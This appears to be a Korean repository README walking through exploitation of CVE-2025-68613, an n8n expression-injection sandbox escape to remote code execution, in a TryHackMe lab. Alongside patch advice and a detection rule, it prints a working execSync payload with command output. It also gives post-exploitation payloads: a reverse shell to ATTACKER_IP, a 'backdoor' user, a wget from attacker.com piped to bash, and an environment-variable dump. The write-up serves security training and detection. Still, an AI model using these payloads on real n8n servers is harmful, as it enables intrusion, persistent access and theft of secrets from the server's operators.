
이 저장소는 n8n 워크플로 자동화 플랫폼(버전 0.211.0 ~ 1.120.3)에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-68613 (CVSS 9.9) 의 실습 악용 과정을 문서화합니다.
이 악용은 교육 목적으로만 통제된 TryHackMe 랩 환경에서 윤리적으로 수행되었습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS 점수 | 9.9 (치명적) |
| 공개일 | 2025년 12월 19일 |
| 영향 제품 | n8n 워크플로 자동화 플랫폼 |
| 취약점 유형 | 표현식 인젝션 → 샌드박스 탈출 → RCE |
| 공격 벡터 | 인증된 사용자 (기본값) |
| 패치 버전 | 1.120.4, 1.121.1, 1.122.0+ |
| 영향 버전 | 0.211.0 - 1.120.3 |
n8n은 사용자가 작업 자동화를 위해 애플리케이션과 서비스를 시각적으로 연결할 수 있게 해주는 오픈소스 워크플로 자동화 플랫폼입니다. 주요 특징:
{{ }}로 감싸진 동적 표현식을 JavaScript로 평가이 취약점은 n8n의 워크플로 표현식 평가 시스템에 존재합니다. 인증된 사용자가 워크플로를 구성하면 입력이 적절한 샌드박싱 없이 JavaScript 코드로 처리됩니다.
표현식 샌드박스
↓ ('this'를 통한 탈출)
Node.js 전역 컨텍스트
↓ (mainModule 접근)
모듈 시스템 (require)
↓ (child_process 로드)
시스템 명령 실행
{{ }}로 감싸진 사용자 표현식이 적절한 컨텍스트 격리 없이 원시 JavaScript로 평가됨this 객체에 대한 접근으로 의도된 샌드박스 제한을 벗어날 수 있음process.mainModule.require()를 통해 Node.js 모듈 시스템에 접근 가능child_process 모듈을 로드할 수 있음(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
설명:
this → Node.js 전역 객체this.process → Node.js 프로세스 객체process.mainModule → n8n 애플리케이션의 루트 모듈.require('child_process') → 시스템 명령 실행 모듈 로드.execSync('COMMAND') → 셸 명령을 동기적으로 실행.toString() → Buffer 출력을 읽을 수 있는 문자열로 변환취약한 n8n 인스턴스에 접속하여 유효한 자격 증명으로 로그인합니다.
랩 자격 증명:
[email protected]Try12345!
로그인 후 워크플로 생성 인터페이스가 표시됩니다. 새 워크플로를 시작하려면 "Start from scratch"를 클릭합니다.

"Add first step"을 클릭하고 "Manual Trigger"를 검색합니다. 이 노드는 워크플로 실행의 진입점 역할을 합니다.

목적: 수동 트리거 노드는 UI의 "Execute workflow" 버튼을 통해 워크플로를 수동으로 실행할 수 있게 하여 테스트에 이상적입니다.
필드 매핑을 수행하기 위해 "Edit Fields" 노드를 추가합니다. 이 지점에서 취약점이 악용됩니다.

구성 단계:
id 명령을 실행하고 사용자/권한 정보를 검색하기 위해 페이로드를 주입합니다.
페이로드:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
결과:
uid=1000(node) gid=1000(node) groups=1000(node)

수집된 정보:
페이로드를 수정하여 ls 명령을 실행하고 디렉터리 내용을 나열합니다.
페이로드:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

출력 내용:
flag.txtcat 명령을 사용하여 플래그 파일을 읽고 악용을 완료합니다.
페이로드:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
획득한 플래그:
THM{n8n_exposed_workflow}

지속적인 제어를 위한 대화형 셸 접근을 설정합니다:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
지속적인 접근을 위해 새 시스템 사용자를 추가합니다:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
원격 코드를 가져와 실행합니다:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
sudo 권한을 확인합니다:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
환경 변수를 추출합니다:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
분석을 위해 요청 본문을 기록하도록 프록시를 구성합니다:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
워크플로 API 요청을 통한 악용 시도를 탐지합니다:
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
n8n이 생성한 의심스러운 자식 프로세스를 모니터링합니다:
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync 또는 spawnn8n을 패치 버전으로 업데이트:
네트워크 접근 제한
강력한 인증
모니터링 및 로깅
입력 검증 및 삭제
샌드박스 구현
최소 권한 원칙
코드 검토 및 보안 테스트
이 문서는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 설명된 악용 기법은 다음을 위해 작성되었습니다:
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 보안 테스트를 수행하기 전에 항상 적절한 서면 승인을 받으십시오.
.
├── README.md # 이 파일
├── exploitation-details.md # 기술 심층 가이드
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
이 문서는 TryHackMe 랩 환경에서 CVE-2025-68613의 성공적인 악용을 기록합니다. 이 취약점은 안전한 코드 평가의 중요성과 자동화 플랫폼에서 부적절한 샌드박스 구현의 위험성을 보여줍니다.
이 취약점을 이해하는 것은 공격 보안 팀이 유사한 문제를 식별하고 방어 팀이 더 효과적인 탐지 전략을 개발하는 데 모두 도움이 됩니다.
| 단계 | 작업 | 소요 시간 |
|---|
| 1 | n8n 인스턴스 접근 | 수 초 |
| 2 | 워크플로 생성/수정 | 1분 미만 |
| 3 | 필드 매핑 노드 추가 | 1분 미만 |
| 4 | id 명령 주입 및 실행 | 30초 미만 |
| 5 | ls로 파일 시스템 열거 | 1분 미만 |
| 6 | cat으로 데이터 추출 | 30초 미만 |
| 총계 | 전체 RCE 악용 | 5분 미만 |